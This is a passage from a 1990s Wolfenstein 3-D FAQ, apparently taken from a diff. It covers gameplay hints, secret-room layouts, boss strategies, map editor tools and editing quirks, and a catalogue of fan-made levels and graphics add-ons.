food, etc. +As you get familiar with the game you'll also be able to judge how many shots to +fire and where to aim. Thus you can conserve your ammo. +To preserve health learn how to use the strafe function (useful when ducking +around corners). +Also don't just plunge into rooms. Hang back and see if any guards come running +out. Then ... Pang! +Some difficulty can also be attributed to disorientation of new players. +Several corridors or rooms may look alike. Try look for dead bodies (i.e. the +trail that you've left behind) or other characteristic objects. +If you're having trouble with movement then --> See 3.6 & 3.7 +One nice hint I've received is about slowing the game a little. If you have +turned on debugging keys then holding TAB slows the game down a bit (not as +slow as slow motion from the debugging options). This means that you can let +off a couple of accurate shots before the targets (guards etc.) have time +to react. Great for some tight rooms and conserves ammo as well. + +3.5 IT'S TOO EASY. + +Like a challenge eh? Check out some home-brew maps. --> See 5.1 +You might also try to reduce your health with the cheat mode (--> See 1.10) +or decide to play without machine guns. Take that for a challenge. + +3.6 YOU KEEP RUNNING INTO THE WALLS AND MISSING THE DOORS. + +Sounds like a major new user disorientation syndrome to me, but could also be +attributed to a slow computer. See, slower machines sacrifice the frame rate to +keep the gameplay speed constant. Thus you might miss a few frames here and +there and that will fool you into overshooting your targets (doors, guards when +you're aiming your pistol at them, etc.) Strafe function helps here sometimes. +You can also try experimenting with various input devices. Mouse is more +accurate on position but slower when it comes to movement. Joystick is rather +inaccurate but easy to handle and still slow. Especially your rotation speed. +If you have a Thrustmaster or other joystick + configurable buttons you can +program these for strafe & run functions. That should make it a little easier. + +3.7 YOU ARE FEELING DIZZY WHILE YOU PLAY IT. + +There have been a lot of discussion about this phenomenon. In short some people +experience dizziness attributed to the game movement. There were many theories, +most along the line of motion sickness. +Some also said that the animation is too smooth so it fools your brain into +believing it to be real. Others said its too jerky and it makes you vomit like +being sea sick. Another popular theory is that lack of proper acceleration +(like on-off high speed) attribute to the nausea. +I will not go into discussion of why. Rather I'll post some steps people +suggested. Remedies are not guaranteed to work. There are many, all are +experimental and some will have opposite effects on different people. This, it +seems, is a very individual problem. + +a) Try different display sizes. Either different size monitors or use the F5 + function to vary the display window. +b) Try sitting closer/further from the display (but don't stick your nose in + it, I don't want you to get radiation sick). Combine with focusing/ + defocusing on the display or surroundings (your room, etc.) This is to see + if you're being aware that you're looking at the monitor (by seeing other + objects around it) and hopefully it may convince your brain that what you + play is not really real. +c) Try different machine speeds. If you have a turbo switch try playing with + it on/off. See what the difference is. +d) Try different input devices (--> See 3.6) With a mouse you can control + acceleration more accurately than with a joystick or the keyboard. +e) Play on your friend's/collegue's computer. See if it's better/worse. +f) Have breaks while you play. Play in turns. Watch others play & then play + yourself. +g) If you have Soundblaster try playing with/without the sound. If your + soundcard is stereo try playing with headphones on. Reverse the headphones + so that left becomes right. Does it confuse you more. (It has no difference + on me if you want to know ;) This one is not meant as a torture (Hehe) only + to see if you're generally well adaptive. + +After I switched machines from 386SX-25Mhz to 486DX-33Mhz I had problem +adjusting too. Everything seemed "too smooth". Now when I see it on the 386 it +makes me want to vomit. Sometimes you'll have to give it time to adjust. + +3.8 IT NEVER GIVES YOU 100% STATS AT THE END OF LEVEL/GAME. + +Hmm, must have missed some treasure/secret room/enemies. + +Solution: +1) Improving secret room ratio --> See 3.10 +2) Improving treasure ratio = Improving secret ratio since most remaining + treasure you missed is probably hidden. +3) Improving kill ratio. + A few dogs running wild may be the cause. + There's also a few places in the maze where the guards can follow you in + circles. Back up your tracks, you might smash into one around the corner. + +3.9 YOU ALWAYS RUN OUT OF AMMO/HEALTH. + +There's plenty of ammo/food/first aid around to last to twice the fun. Problem +is knowing where to find it. Be careful to not leave behind ammo clips dropped +by guards after you kill them. Its only 4 rounds but it adds up. Sometimes +ammo/food/first aid is concentrated in a couple of rooms on a level. If you +find that cache you'll have no problems. Some levels have relatively little +food/first aid but lots of ammo. It may be wise to plan ahead and stay healthy +for that level. You can also plainly waste ammo and overshoot ensuring you'll +be hit as little as possible. Other levels may have little ammo and lots of +food/first aid. Adopt ammo saving strategy there. +Remember that extra-life sphere boosts both your health and ammo. +Also --> See 3.10 + +3.10 YOU CAN NEVER FIND ANY SECRET ROOMS. + +Secret rooms usually house most of the treasure, ammo and health bonuses as +well as machine guns and extra lives. + +Some "obvious" places where a secret room may be located are shown below: + +NOTE: W = wall, o = static object like: barrel, drum, plant, etc. + # = different wall panel like: Hitler's painting, Nazi banner, etc. + [ = Sliding door. + Possible secret doors are pointed to by < ^ and > or shown as ? + +a) Different wall panels + +WWWWWWWW#WWWWWWW#WWWWWWWW +W ^ ^ W +W W +# < [ +W W +W W +WWWWWWWWWWWWWWWWWWWWWWWWW + +b) Room corners. + +W?WWWWWWWWWWWWWWWWWWWWW?W +? W +W W +W [ +W W +? W +W?WWWWWWWWWWWWWWWWWWWWW?W + +c) Between objects and at midpoints of a wall. + +WWWWWWWWWWWW?WWWWWWWWWWWW +Wo W +? W +Wo [ +W W +W o o W +WWWWWWWWWWWWWWWWW?WWWWWWW + +d) In narrow alcoves + + W?W + ? ? + ? ? +WWWWWWWWW WWWWWWWWWW +W W +[ [ +W W +WWWWWWWWWWWWWWWWWWWW + +e) On wall panel in straight line extending from an object + (classic object in this example is an overhead lamp!) + +WWWWWWW?WWWWWWWWWWW +W +W +[ o <-- A corridor +W +W +WWWWWWW?WWWWW + +NOTE: Some secret rooms have secret rooms within them. Sometimes secret + movable panels can be moved to block each other. Be careful not to + block yourself in. This is also why sometimes you cannot get 100% + secret ratio for some levels. + +3.11 YOU CAN NEVER FIND A SECRET LEVEL. + +Well, if you read Section 2.4 you'd know that you need to find a secret level +elevator to get to a secret level. These elevators are hidden inside secret +rooms (that is, behind pushwall passages). They can be pretty darn hard to find +without a map. To get you going here's one from episode one. + +WARNING: SPOILER ALERT!!! SPOILER ALERT!!! SPOILER ALERT!!! SPOILER ALERT!!! + + + + + + + + + + + + + + + + + + + + + + + + + + +Here we go. The secret level elevator for episode 1 is on level 1! It is +accessible by a series of secret doors (pushwalls) in the last room of that +level (the room with the normal elevator). I've drawn the room out below. + + +WWWWWWWWWWWWWWWW L = the room with the normal +WWWWWWWeWWWWWWWW elevator to level 2 +WWWWWWWDWWWWWWWW e = elevator to level 2 +WWWWW WWWWWW E = elevator to level 10 +WWWWW WWWWWW + = first aid kit :) +WWWWW WWWWWW [ = Sliding door +WWWWW L W WWWW ? = secret door (aka pushwall) +WWWWW W+WWWW ^ = direction you face when you +WWWWW ? WWW are about to enter the last room L +WWWWWWB[BWW?WWWW D = Elevator door +WWWWW W WWW B = Nazi banner wall +WWWWW W WW H = Hitler's portrait wall. +WWWWW ^ WW WW +WWWWW WW WW +WWWWW WW WW +WWWWW WW WW +WWWWW W WW + W WW + HBDBWW + WWEWWW +WWWWW WWWWWW +WWWWW WWWWWW + + + +3.12 YOU ALWAYS GET NUKED BY THAT BIG BAD BOSS (GUARD) AT THE END. + (THE STRATEGIES FOR DEFEATING THE BOSSES). + +Note: This section is *far* from complete. Why not send in your hints + for wiping those tough guys at the end. + +--- +Well, here's a general guide submitted by Douglas Bottoms +(BOTTOMS_DOGLAS_J@Lilly.com) + +"Usually, I try to get as close to the boss as possible, then back STRAIGHT +away from the boss while firing. Then strafing left or right to hide behind +a wall (or get out of the way)." +--- + +Note: You will find that most boss scenarios conveniently include blocks +of wall behind which you can hide while the boss fires its 'salvo'. + +Here is a specific one pertaining the Mad Doc at end of Episode 2. + +--- +Episode 2: This is the Mad Doctor who is creating all the Zombies. If you go +at him straight on he'll just zap you with his syringes and you'll go all +red-eyed and die. If you go to the corridor to the left of the room where +he's hiding and wait for him to come out you can zap him with the old chain +gun from the side. There's also a first-aid kit in there which helps. Once +he's retired back to the room rush out to the beginning of the level where +there is a secret room (which you will already have opened up) full of ammo +clips and restock on ammo. Now you can go back in for a frontal assault and + finish him off. This guy doesn't fire much - I hit him a bit, get out of + the way, hit him a bit, get out of the way... +--- + +.and here is one specific one for Hitler at the end of Episode 3. +--- +Episode 3: Hitler is to the left of the entrance to the final room in the +final level. Hit him with the chain gun until his armor drops away. Then +rush down to the end and turn right, knock off the 2 white guards in there +and you'll find lots of extra ammo and some first aid. If you lurk here +Hitler may come after you - in which case blast him, or if you wait long +enough he'll seem to go away. If this happens go right back to the beginning +of the level where there is a secret room full of ammo and stock up because +you'll find he's trailed you. So turn round fast and give him everything +you've got. + + +4.0 MAP/GRAPHICS EDITORS SECTION +=============================================================================== + +4.1 DISCUSSION OF AVAILABLE MAP/GRAPHICS EDITORS. + +There are 6 map/graphics editors available as far as I know. + +a) MAPEDIT v4.1 - Map editor. + +a) MAPEDIT v4.2 - Map editor. + +a) MAPEDIT v6.0 - Map editor. + +a) MAPEDIT v8.0 - Map editor. + +b) WOLFMAP v1.6 - Map editor/version convertor. + +c) WOLFEDIT v2.1 - Graphics editor/extractor. + +Mapedit v4.1 + - Written by Bill Kirby (who incidentally retired from working on his + creation). + This software will let you edit Wolfenstein's maps for any version + released to date (1.0 through to 1.4). It will recognize if your copy + is shareware, or registered (3 episode or 6 episode). + Turbo Pascal source is included so you can make your own adjustments. + NOTE: Not compatible with SoD. + + This is the 'vanilla' version of this editor. Many have changed this + version to produce their custom 'enhanced' editors with more features + etc. (Thus this version is where the version tree splits). + The following two are the most popular. + +Mapedit v4.2 + - Written by Ralf Seider (rauh@wrcd1.uni-wcppertal.de) + Some new functions were added to v4.1 + - Item selection memory while editing. + - Can select items from map (pick up using mouse) + - Fill & rectangle functions for easier level construction. + NOTE: Not compatible with SoD. + +Mapedit v6.0 + - Written by Dave Huntoon & Brian Baker + Some bugs of v4.1 fixed. + Some new functionality added + - Copy, Paste + - Exchange (maps) + - Help (ah, user friendly) + - Write / Read individual levels to / from disk + - Statistics display (# of actors on level etc.) + - Compatibility with SoD. + +Mapedit v8.0 [*** FAQ editor's choice ***] + + - Written by Warren Buss, David Huntoon and Bryan Baker + - Blake Stone compatibility + - Zap function + - Loads of other useful stuff! + +Wolfmap - Written by Jan Peter Dijkstra (Sysma Automatisering). + This one was based on v old version of Mapedit but then evolved into + an editor of its own. + It's really more of a Wolfenstein map processor with functions such + as: version conversion, level map export into intermediate file + (allows moving and copying of levels), level ASCII dump for printing + purposes, etc. The editor is really based on Mapedit visually with + slightly more functionality. C++ source included. + NOTE: Not compatible with SoD. + +Wolfedit - Written by Bill Kirby (again!). This is a must if you want to change + Wolfenstein's graphics. Not only does it let you edit the wall + panels as well as images of guards and various objects. You can also + export/import images as GIF files. This makes editing with your + favorite paintbrush tool easy. The picture size is limited to 64x64 + pixels but for importing images you can position a square on a + larger image and snap it into the editor. + Wolfedit will not read SoD graphics file as such (VSWAP.SOD file). + If you're trying to edit SoD graphics then just rename your + VSWAP.SOD file to VSWAP.WL6 before editing. Rename it back after + you finished. + +4.2 RULES TO FOLLOW WHEN EDITING. + +IMPORTANT! READ THIS! IMPORTANT! READ THIS! IMPORTANT! READ THIS! IMPORTANT! +******************************************************************************** +First of all I would like to stress that iD Software and Apogee are not +responsible for the home-brew add-ons floating around. They will offer +you no support whatsoever if you encounter problems with them so +DO NOT CALL Apogee about them!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +Even when Wolfenstein bombs out with an error message giving you the +1-800 number of Apogee DO NOT CALL if you were playing the non-original +maps/graphics. Apogee especially DOES NOT appreciate it. +If you want to get help about it read the rest of this section. If you find +no clues post to comp.sys.ibm.pc.games.action for help. +******************************************************************************** + +Ok, Here's a few guidelines if you're just starting to play around with the +editors. I thought I'd put something down that might save you from screaming +ARGHHH!! after a few hours of editing. Most of these are just a few pointers. + +- First of all save your work often. This one needs no explanation. +- Also test it often. Some editing quirks will produce game bugs that are just + plain hard to get rid off. That might mean you'll have to start editing that + level from scratch. + +Mapping hints: + - When placing elevators, put them like this: + + ******************** + * *E + [ D E + * *E + ******************** + + [ = Normal door + D = Elevator door + E = Elevator segment. + + Landscape objects are similar in that they are displayed as landscape + when aligned east/west and as starry skies when aligned north/south. + If you REALLY want to have elevators north/south then the elevator + lever would have to be one of the side panel (as you enter the + elevator). + - Secret elevator needs floor number 6B (hex) inside it to work + properly. + - Mobile guards and dogs can have arrows (turning points) to direct + them. Place these on the path you want them to move. When they notice + you they'll obviously break from that pattern, otherwise they'll + follow it. If no turning points are set, they will keep on walking in + the direction you set them off in, walking through walls and everything. + In other words, SET TURNING POINTS! + - Note that when placing guards and dogs on the same arrowed path + you might screw up the pattern since dogs are faster than the guards + and will finally 'bunch up' behind them. + See map of episode 1 level 2 for an example of this. + - Number of objects on one level is limited to 399. + Secret doors and guard guiding arrows are NOT objects. + Actors are not objects either. + - Number of actors (guards/dogs, etc.) on one level is limited to 149. + Note that dead guards are considered actors too. + - Number of doors (sliding doors, NOT secret doors) on one level is + limited to 64. This includes unlocked, locked and elevator doors. + - Don't forget you need an entrance to a level. + - You also should have an exit or game end trigger (see level 9 of the + shareware version to see how it's done.) + - The exit must be the elevator icon unless you changed the graphic. + - Exit from level 9 leads to level 10. Thus you can have 10 straight + levels with no secret level. + - Secret doors can "collapse" onto one another. Thus if you have many + secret doors in a row with only the first secret door positioned over + a wall you can repeatedly push the same wall panel. + - Too many guards in one room or area will result in the disappearing + bodies phenomenon. --> See 6.3 + - Only guards over the same floor as you will hear you shoot your gun. + Since this concept is quite important to game strategy here's a + little explanation: +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +If you fire your weapon (this does include the knife but only if you actually +poke someone) in a room then all the non-deaf guys in the same room who +stand/walk over the same floor values will hear you. That is they will become +active and try hunt you down. +Also guys in other rooms which are not connected to your present room at the +moment (What I mean is the doors between that room and your current room where +you are are closed) will also hear you if they stand/move over the same floor +value. +This allows for a variety of dynamic effects, e.g. see below: + + 1 2 3 +WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW + G1 G2 W G4 W G5 + W W + [ G3 [ + Y W W + W W +WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW +^^^^^^ ^^^^^^^^ ^^^^^^^^^^^ +room room room +with with with +floor floor floor + A B A + +Here's a quick sketch of 3 rooms (walls=W) connected by sliding doors [. +You (Y) are in room 1. Rooms 1 & 3 have the same type of floor. Room 2 has +a different type of floor. G1-G5 are guards. +If you shoot your weapon in room 1 then guards G1, G2 as well as G5 will +become aware of your presence (G1 & G2 probably are already aware of you if +they saw you). G5 will run from room 3 to room 2 (tracking your position in +straight line). Eventually he would get to room 1. If you fire your weapon +while either of the doors are open then G3 & G4 will will become aware of you +too. +NOTE: You didn't open either doors (I'm assuming G5 or G3 or G4 does that) + unless you ran for it ;) + +The first floor value in the Mapedit/Wolfmap editor index is the DEAF floor +(hex value=6A; this should be annotated in map editors). +The guards standing on deaf floors will react only if you pass within their +sight (that seems to span slightly less than 180 degrees (~90 either side of +their face)). + +Note that if you mix floors in one room (other than the DEAF floor) then only +the floor which connects to the door through which you entered will become +active. Guards standing on other floors will be oblivious to you unless you +shoot at them (not sure if you can run through them). + +In a way when you enter through the sliding doors a change of active floor +takes place (after the door shuts --> while it's open both floor values are +active). + +A classic example is when you enter a room through a secret door. If the +floor in that room is different then no guard in that room will respond to +you shooting. + +If you're still unclear about this here's an explanation by iD's +J. Romero (straight from the horse's mouth so to speak): + +"Wolfenstein 3-D is basically made up of a lot of closed +rooms. When you open a door, the guards get a chance to +see you and opening the door connects your sound area to +the revealed room's sound area, so a gunshot will be heard +in both places. Guards in both places will respond to this +kind of action". + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - Putting an object inside a wall allows you and other actors to walk + through that wall. Now you know how that guard jumped you from the + wall. + - Directing moving actors (guards, dogs, etc.) into a wall of unity + thickness makes that square wall panel permeable. That is you can + walk through it in the same way as if you used the wall walking + cheat. (--> See 1.10) + - You must have a minimum of at least the following on any level you + create: + 1 enemy (guard, dog, etc...) + 1 piece of treasure (cross, jewels, etc...) + 1 secret door + They are needed because Wolfenstein tries to calculate the % of each + of that you have killed, opened, picked up, etc..., and if there are + 0 items of any one of the above, Wolfenstein will crash trying to + divide by zero. + - Secret doors can pass over/through any object that you can (kitchen + utensils, food, etc.) EXCEPT Dead Guards. + - Be careful not to set up secret doors that might go beyond the edge + of either the bottom or left-hand sides. The top and right hand edges + of the "world" are solid, but the left and bottom sides are permeable + (no range checking), and weird things can happen. + - Be careful not to set up secret doors such that a small passage + behind them is blocked when the 'pushwall moves too far' phenomenon + occurs. Either insure that the pushwall can move only 2 grid + locations or enlarge the passage. --> See 6.3 + - Doors should be parallel to the walls you are inserting them in, as + you will get phantom blocks of grey stone otherwise. + Try placing a door all by itself without any walls and you will see + that it is accompanied by two phantom walls on either side. This has + presumably something to do with the opening act of a door (???). You + can go through these blocks, and even open the doors within them. + To clarify that here's a sketch of a door just by itself with no + walls around: +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + P[P + + ^ + + [ - Door + P - Phantom wall block + ^ - Direction you face when opening the door. + + + Now, if you place the door perpendicular to the wall its embedded in + here's what you'll end up with: + + P + WWWWWWWW[WWWWWW + P + + Obviously you can't see the door until you pass through the P wall. + BTW: The phantom walls P look like the regular stone wall (or the + first wall in the graphics file for that matter). +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - Deaf Guard floors directly in front or behind a sliding door result + in the door being invisible. The floor seems to be replaced with a + "force field" (it becomes an invisible wall). + Of course, if what you want is an invisible barrier, then this is how + to do it. + Note that if you put a Deaf Guard in an elevator, you will not be + able to get in! (I think this only occurs in v1.0 of Wolfenstein, + later versions allow you to have deaf elevator floors) + - If you make regular sliding doors into secret doors, they behave + rather strangely, when you "open" them. They move away and transform + into a random wall panel. + - Placing two or more doors side-by-side will produce a bizarre "picket + fence" wall of crazed wall panels, and will not allow you to pass + through them (except the last door on the right side) but will let + the bad guys through. + +Editing the graphics, hints: + --> See later part of 4.5 + +4.3 COMMON EDITING ERRORS (WHAT NOT TO DO AND WHAT THEY'LL PRODUCE). + + - You forgot to put an entry position into a level. + When you start that level you'll find that you can't move around and + you see walls in all directions. + - You put too many guards in one level. + Wolfenstein will terminate with the following error when entering + that level: + 'GetNewActor: No free spots in objlist!' + - You put too many objects in one level. + Wolfenstein will terminate with the following error when entering + that level: + 'Too many static objects' + - You put too many doors in one level. + Wolfenstein will terminate with the following error when entering + that level: + '64+ doors on level' + - You included in your shareware episode map some objects used in + non-shareware episodes only. + Wolfenstein will terminate with the following error when that + object/wall comes into your view: + 'Tried to load sparse page' + If you patch the map and try to continue from the last saved position + within the same level, you'll still get this error as Wolfenstein + stores the map as loaded on level entry in the save-game file. You + must restart from a saved position in the previous level. + Hint: always save before taking up the exit elevator of a level. + - You have mixed versions of Wolfenstein maps or have corrupted + map files. + Wolfenstein will terminate with the following error when you start + the play: + 'Map not 64x64' + Usually this is due to the fact that you might have only one + MAPHEAD.??? file in the editor's directory and many + MAPTEMP.???/GAMEMAPS.??? files. In short you're confusing the program. + Determine which map files are the ones you want to play and clean up + the directory. + - One more error which I cannot attribute to anything I know can occur. + It happens when you die for the first time on a level. Wolfenstein + kicks out with this message: + 'MM_GetPtr: Out of Memory!' + This can occur in spite of the fact that the level has few actors or + objects and there's plenty of RAM around. + If you know how to fix it or what the cause is let me know. + +4.4 MAP/GRAPHICS FILES VERSION CONVERSION. + +Map files version conversion: + Wolfmap 1.6 can convert between any version of Wolfenstein map files. + Maps for versions 1.1 and higher are considered equivalent. + Note though that not all wall panels map directly to the same panels + through this conversion. In particular the false door of v1.0 has been + removed and after conversion to v1.1 will appear as a mud-wall which + will cause you problems if the maps were only the 1-episode shareware + which doesn't have the graphic for that wall. + In short: don't trust the conversion. Look through the maps carefully + to see if something has gone wrong. I suspect some objects are + converted to 'unknown' objects as described by the editors. + Also by using Mapedit 6.0 you can convert between versions of + Wolfenstein 'by hand' using the individual map import / export + facility. Just load up maps of one version, export all the levels + to disk (one at a time). Quit the editor, restart with map files + of a different version and import those individual levels in. + Note: This does mean you have to have the destination version map + file available (as a place holder for the imported maps). + +Graphic files version conversion: + No known convertors exist. If you know one let me know. + Yes, that does mean you'll have to import all the walls etc. as GIFs + into the version of the file you want. + +4.5 EDITORS COMPATIBILITY WITH THE GAME AND EACH OTHER. +Mapedit, Wolfmap and Wolfedit are compatible with all versions of Wolfenstein +from 1.0 to 1.4 shareware and both of the registered releases. +Mapedit 6.0 and 8.0 will also read/write SoD files. For Wolfmap you'll need +new definition files. --> See 5.3 + +Wolfmap is compatible with Mapedit, but Mapedit is NOT compatible with Wolfmap. +That is, files processed by Wolfmap are not readable by Mapedit. + +Sometimes the objects edited do not always appear as they should. An example is +missing sliding doors when they were placed in the map. The door vacancy is +present instead but you cannot move through it. Someone suggested that this +can by fixed by changing floor values next to the object/door in question. +You can also move the door to another place on the wall. +I know it may stuffup your design but it should help. +NOTE: Placing a deaf-floor by the door will always make it invisible. For some + reason v1.0 of Wolfenstein experiences more of these problems (?). +Also --> See 4.2 + +Wolfedit has no major problems with wall panel graphics. There are some +problems when it comes to objects such as lamps, dog food, guards, etc. It +seems each object has a 'size' parameter. Editing the object may overrun that +limit. Wolfedit won't let you save the file if any objects are at fault. +Curiously even editing the colour (shade) of an object may adversely affect it. +Most importantly though objects need to have a blank background. This is +denoted by the bright pink background colour in the Wolfedit editor. (Have a +look at some standard objects that came with Wolfenstein.) + +4.6 HOW TO MAKE A HARDCOPY (PRINTOUT) OF THE MAPS. + +I recall there are four ways. +1) Use printscreen key + graphics.com program under DOS to capture the screen + of one of the map editors. +2) Use Wolfmap's ASCII map dump feature. Then print it as any file. There are + also other utilities for that. --> See 5.3 +3) Capture map screen under Windows and print it later (costly on ribbon or + toner since in bitmap mode). +4) Use a TSR screen shot utility such as PCX-Dump to dump a screen from one + of the editors. Then print it as you would a graphics file. +NOTE: If you only want maps to original Wolfenstein then there are some already + made. --> See 5.3 + + +5.0 WOLFENSTEIN ADD-ON SECTION. +=============================================================================== + +All of the programs listed in this section can be found on the two ftp sites +mentioned in Section 0.7 +I will not include anything herein until it finds its way to either of these +two sites. + +Version number in square brackets indicates which version of Wolfenstein you +will need with the specific programs listed. Also archive file extensions were +omitted (.zip .arj etc.) unless they differentiate two different add-ons +with otherwise same archive name. +For example: [1.1 S] means version 'The shareware version 1.1'. + +I have also included my own rating (number of *'s). This is merely my opinion +of the maps/graphics originality/artwork & bloodbath factor. +* = tame/yawn, ***** = suicidal!/wicked! + +Note: The shareware version of Wolf3D has been ranked '*' for bloodbath +factor at Death incarnate level to compare with ratings given to other maps +at the same level. This is in no way to hint at its playability and is just +for comparison purposes. +Remember versions 1.1 to 1.4 are equivalent! + +To install any of the maps/graphics sets, just ensure you have the correct +version of Wolf3D and copy the files that came with the archive into your +Wolf3D directory (unless specifically stated otherwise. See below or +documentation that came with the add-on if any.) + +Lastly if anyone knows of anymore maps etc. let me know eh? + +5.1 EXTRA LEVELS. + +- map1 [1.0 S] * - Only level 1 was appreciably changed from + original maps. +- newwmap [1.0 S] ** - Maps are the same as original. Only more + guards were added. +- wlfnwmap [1.0 S] ** - All levels were changed. Levels 4,6,7 & 8 + are very short & differ only in wall color. +- wlfset11 [1.0 S] *** - Extension Set One v1.1. All levels apart + from 1, 4 & 10 were designed from scratch. + Docs included. +- wolfmap [1.0 S] *** - All levels are different from original. + Quite challenging. +- nitemare [1.0 S] *** - Enigma's Nitemare I. Level 1 was greatly + changed. Others redesigned from scratch. + This one for really trigger happy! +- enite-ii [1.1 S] **** - Enigma's Nitemare II. This archive contains + maps + graphics replacements. All maps + different from original. Graphics cool. + Self-(de)installation (but you can bypass it + if you're paranoid about viruses etc.). + Intro + docs. +- enite3fx [1.1 S] ***** - This is the third installment of Enigma's + Nitemare. In this package you'll find all 3 + nitemare parts (many bugs corrected) plus the + graphics file as well. + This archive has a full intro/installation + with it so you need not mess with renaming + the files. Read the doc before you start. + For Wolf3D experts that one... +- enm3-v30 [1.1 S] ***** - This is the same as enite3fx but has some + more bugfixes. You should really get this + instead of any other Enigma maps. +- wolf316 [1.1 R] ** - First 30 maps were redesigned. This one quite + 'mazey'. This archive also includes new + graphics file replacement. Guards have been + replaced with men in shirts + ties. All nazi + symbolism was replaced by 3:16 symbolism + (3:16 is a drug of some sort - the game now + has a drug cult worship of some kind). + Food etc. replaced with the drug itself. + Digitised sounds were also changed. + Weapons changed to lasers now. +- darkmap1 [1.0 S] *** 1/2 - DarkStar's Castle Wolfenstein-3D levels. + All levels redesigned from scratch. + Quite a toughie this one. +- w3d_cc1 [1.1 R] **** - A total of 58 new maps (2 secret levels were + left unchanged). Not as hard as the Nitemare + series but nevertheless very enjoyable. +- sodblst2 [SoD R] ??? - Blast Brothers' Spear of Destiny levels. + Level 1 greatly extended and all others + redesigned from scratch. +- sod_cc1 [SoD R] **** - All 21 levels either partially or completely + redesigned. Does a great job in keeping up + the 'spirit' of the original levels. +- insanity [1.1 R] ***** - Temporary Insanity. By Nathaniel Rudiak-Gould. + What can I say, these levels are truly insane. + Enter 60 levels of mystery where pushing the + wrong wall or firing a shot can spell ... + Doom (no pun intended :). + These maps use various undocumented features + of Wolfenstein's engine to come up with a + variety of effects such as: + walk through walls/objects, self-moving wall + blocks, invisible enemies, areas where you + move uncontrolably, 'insanity areas' which + make you lose your m/gun, red hot walls, + unopenable doors, force fields, areas only + accessible on certain difficulty levels etc. + et al. + So if you love solving riddles this one is + definitely for you. It has a large (120K) + hint file with it if you get frustrated. + WARNING: This is definitelly not for all + you "wham! bam! thank you 'mam" type action + hero folks who like getting 100% stats every + time. This one will require some brain power. +- xmasswlf [1.1 S] ****1/2 - The maps themselves will remind you of the + originals. The characters, however, have + been replaced with crazy Santas and Snowball + throwing snowman. Sounds have changed too. + Great Stuff. +- wolfen60 [1.1 R] **** - This is basically a collection of various + levels floating around all rolled into + one 6 episode package. You'll recognise + a few of the levels from other add-ons. + - wolflev1 [1.1 R] (can't really rate it - I did it!) - This is my set + of levels - still in progress. So far, 17 levels done. + - warwolf [1.1 R] (I did it, and still early stages) - This is the + all-new Warhammer Wolfenstein. All graphics will be changed + (at the moment, a few wall panels and some of the guns are + done) and it will be a full 60 levels. Looking BRILLIANT! + +5.2 EXTRA GRAPHICS. + +- wolfnpac [1.0 S] ** - Replacement for the graphics file. The only + change is that it replaces the brown guard + with a 3D pacman sphere. Nice animation + sequence though. +- wlfnewgr [1.0 S] ** - Replacement for the graphics file. Replaces + ordinary wall panels with ... x-rated images. + This one not for the kiddies ... although not + greatly explicit. + [WARNING! this add-on may be offensive!] +- wolfus [1.1 S] *1/2 - Wolf3D U.S. All nazi symbolism replaced with + US symbolism. +- w3dcool [1.1 S] *** - This is basically a package that has been + thrown together by someone. Don't get me + wrong, its nice but most of the graphics come + from SoD or registered Wolfenstein or other + games like X-Wing (a few tie bombers around) + and some real-life people etc. Try it for + really weird playing environment. +- wolfbonk [?.? S] ** - Bonkenstien3D. Some graphics changed to + appear more 'appealing'. Treasure replaced + with computer supplies. Elevators replaced + with moongates. Guns replaced with ... + joysticks (?!!) +- wolfclwn [1.1 S] **1/2 - Wolfenstein meets the Demon Clowns of Death. + The boring old brown SA guard replaced with + a colorful clown. +- wolfstf [1.0 S] **1/2 - Wolfenstein-3d Street Fighter 2. + All characters have been replaced with Ryu, + Ken, and E. Honda. For SF2 die hard fans only. +- wlfkosh1 [1.1 S] ** - Wolfenstein 3-D kosher. By: Peter Ringering + Make your Wolfenstein 3-D a kosher game. + Instead of shooting at people, you shoot at + objects which will shoot at you. All the gory + stuff was removed as well. PG-rated if you + like. +- 3dbusse [?.? S] *1/2 - Some minor touches to the graphics. SS guard's + m/guns now eject shells. Swastikas were + removed. Soldiers now wear camouflage helmets + & boots. Guns have targeting laser dots. +- barney10 [1.0 S] *** - This the the famous Barney patch. + Barney is the end of episode boss. The guards + are replaced by Beavis & Butthead. The sounds + are replaced also. +- barney14 [1.1 S] *** - This the the same Barney patch for v1.1/1.4 + of Wolf3d. + +For more graphics see enm3-v30, and wolf316 in Section 5.1. + +5.3 OTHER ADD-ONS & UTILITIES. + +- w3dpatch [1.0 S] - This is an official patch release of the + game to upgrade from version 1.0 to 1.1. +- w6patch [1.1 R] - This is the map upgrade for the full version + (6 episode) to version 1.2. Note though that + this is not an official patch that will fix + your version to say 1.2. Only the corrected + map files (since this is an only difference + between v1.1 & 1.2 anyway). +- wcheat [1.0 S] - Edit Wolf3D save game files. Add ammo, + health, guns, etc. +- winwolf [N/A] - Some BMP files of graphics from the game. + Great for Windows backdrop. +- wmap41 [All] - Generates ASCII maps of any level you like. + Suitable for dump to printer. +- wmaps-60 [All R] - ASCII maps of all 6 episodes of the game. +- wolf3d1.nfo [1.0 S] - Instructions on how to patch Wolfenstein + for infinite ammo, health, etc. +- wolfmaps [All S] - ASCII maps for the 1st (shareware) episode. +- wolfspk4.exe [All versions] - This little utility will redirect digitised + sounds in the game to the PC speaker. + (For all of you people with no soundcard!) + Some sounds come out a bit dodgy but all the + shooting & screaming is audible. This file + also works with Spear of Destiny. Note: there + are other files like this e.g. wolfspk3.exe, + wolfspk.exe, wolf1spk.exe, but wolfspk4.exe + supercedes them. + To revert back to PC squicker sounds + delete CONFIG.WL? file. +- wolfsnd [1.1 Reg(6)] - This is a little utility for exporting & + importing digitised sounds from the VSWAP.WL6 + file. Reads/writes VOC files. + Must have the full 6 episode version. +- wfgrchrt [All versions] - A conversion chart showing the numbers (in + decimal) for all objects contained in the + various graphics files. +- wlfaud11 [All S] - Audio Editor 